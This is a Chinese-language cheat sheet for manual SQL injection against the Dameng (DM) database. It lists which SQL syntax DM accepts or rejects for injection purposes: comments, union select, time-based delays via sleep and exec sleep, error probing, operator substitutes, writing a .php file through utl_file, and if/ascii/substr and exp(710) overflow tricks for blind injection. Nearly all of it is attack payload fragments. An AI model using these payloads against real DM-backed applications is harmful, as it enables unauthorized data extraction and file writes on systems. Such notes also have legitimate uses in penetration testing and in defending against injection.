达梦数据库手工注入笔记

SQL语句

语法

效果

select
 1

语法

正确

select语句后面可以不跟表名

select
 1 from dual

语法

正确

存在默认表dual

select
 1 from dual -- a

语法

正确

支持--单行注释

select
 1 from dual # a

语法

错误

不支持#单行注释

select
 1/*aaa*/from dual

语法

正确

支持/**/多行注释

select
 1 from dual where 1

语法

错误

条件表达式必须是bool值

select
 if(1=2, exp(710), 1)

语法

错误

不能在if表达式中使用子表达式

select
 exp(if(1=2, 710,1))

语法

正确

可以在exp表达式中使用子表达式

select
 1 from dual where 1=2 union select user()

语法

错误

字符串转换错误，联合查询要求字段类型必须相同

select
 '1' from dual where 1=2 union select user()

语法

正确

支持union select联合查询语法

waitfor
 delay '0:0:5'

语法

错误

不支持waitfor语法

select
 sleep(5)

语法

错误

select 和sleep使用语法错误

sleep(5)

语法

正确

延时5s

exec
 sleep 5

语法

正确

延时5s

select
 1 from dual where 1=user()

会报错

但是不会报错出错误详情，不能用于报错注入

select
 1 from dual where 1=updatexml(1,user(),1)

语法

错误

没有updatexml函数

select
 `ACCOUNT_ID` from OTHER.ACCOUNT

语法

错误

不能用反引号标识表名和字段名

select
 "ACCOUNT_ID" from "OTHER"."ACCOUNT"

语法

正确

如果表名和字段名中有特殊符号，可以用双引号包裹表名和字段名，不能用反引号

select
 1 from dual where 1=1 || 1=1

语法

错误

不能使用||代替or

select
 1 from dual where 1=1 && 1=1

语法

正确

可以使用&&代替and

select
 top 1 * from account

语法

正确

支持top语法

select
 * from account limit 0,1

语法

正确

支持limit语法

select
 1 into outfile 'D:/1.txt'

语法

错误

不支持outfile语法

select
 * from other.depttab where dname=0x61

语法

正确

但是不支持把字符串转换为0x61这种16禁止字符串的功能

copy
 (select DNAME from other.depttab) to 'D:/1.txt'

语法

错误

不支持copy语法

utl_file.put_line(utl_file.fopen('D:\dmdbms\data\DAMENG\test',
 'test.php', 'A'), 'xxxxxx')

语法

正确

可以写入文件，但是只能写到DAMENG目录，比较鸡肋

函数示例

返回值

substr('1234',2,1)

返回2，第二个参数从第几位开始取值，第三个参数代表截图多少位

substring('1234',2,1)

同substr函数

left('123456', 3)

返回123，第二个参数代表返回左边几位的字符

right('123456', 3)

返回456，第二个参数代表返回右边几位的字符

if(1=1,1,2)

返回1，条件判断，如果条件成立返回第二个参数值，如果条件不成立，返回第三个参数值

md5(1)

返回

0xC4CA4238A0B923820DCC509A6F75849B，返回对应MD5值，前面加了0x

if(1=ascii(substr('123456',2,1)),2, 1)

综合使用，盲注必备

exp(if(1=1,710,1))

exp(710)返回整数溢出错误，使用这种方式可以强制BOOL盲注